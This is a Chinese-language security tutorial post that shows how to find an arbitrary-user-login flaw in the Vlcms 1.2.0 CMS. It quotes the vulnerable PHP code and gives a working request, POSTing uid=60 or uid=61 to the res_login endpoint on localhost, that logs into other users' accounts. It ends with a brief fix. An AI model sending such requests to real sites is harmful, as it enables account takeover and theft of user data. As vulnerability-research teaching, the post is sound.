WEB安全系列之如何挖掘任意用户登录漏洞

WEB安全系列之如何挖掘任意用户登录漏洞

0x01  前言   
     每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。

0x02  什么是任意用户登录漏洞
   几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。

0x03  实战的案例(白盒测试)
     Vlcmsv1.2.0,就拿这套CMS来说吧。
     vlcms/Application/Media/Controller/MemberController.class.php
     post获取uid传进autoLogin()中

  1. public function res_login(){
  2. parent::autoLogin($_POST['uid']);
  3. echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
  4. }

复制代码

将id传进entity()。

  1. protected function autoLogin($uid){
  2. $user =$this->entity($uid);
  3. /* 记录登录SESSION和COOKIES */
  4. $auth = array(
  5. 'mid'             => $user['id'],
  6. 'account'             => $user['account'],
  7. 'nickname'        => $user['nickname'],
  8. 'balance'         => $user['balance'],
  9. 'last_login_time' => $user['login_time'],
  10. );
  11. session('member_auth', $auth);
  12. session('member_auth_sign', data_auth_sign($auth));
  13. }

复制代码

entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户。

  1. protected function entity($id){
  2. $data = M('User','tab_')->find($id);
  3. if(empty($data)){
  4. return false;
  5. }
  6. return $data;
  7. }

复制代码

0x04  实战的案例(黑盒测试)
     http://127.0.0.1/vlcms/index.php?s=/member/res_login/
     POST:uid=60

访问后,返回一串代码。
      <ignore_js_op>WEB安全系列之如何挖掘任意用户登录漏洞

接着访问http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已经成功登录账户

<ignore_js_op>WEB安全系列之如何挖掘任意用户登录漏洞 
     访问:post:uid=61
      <ignore_js_op>WEB安全系列之如何挖掘任意用户登录漏洞 
     接着访问http://127.0.0.1/vlcms/index.php?s=/member/

成功登录uid为61的账户

<ignore_js_op>WEB安全系列之如何挖掘任意用户登录漏洞

0x05  修复建议
     不要用id来判断账户身份。

本文来源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan

上一篇:MVC 会员注册


下一篇:校园网络安全CTF 第一题 和 你真了解我吗?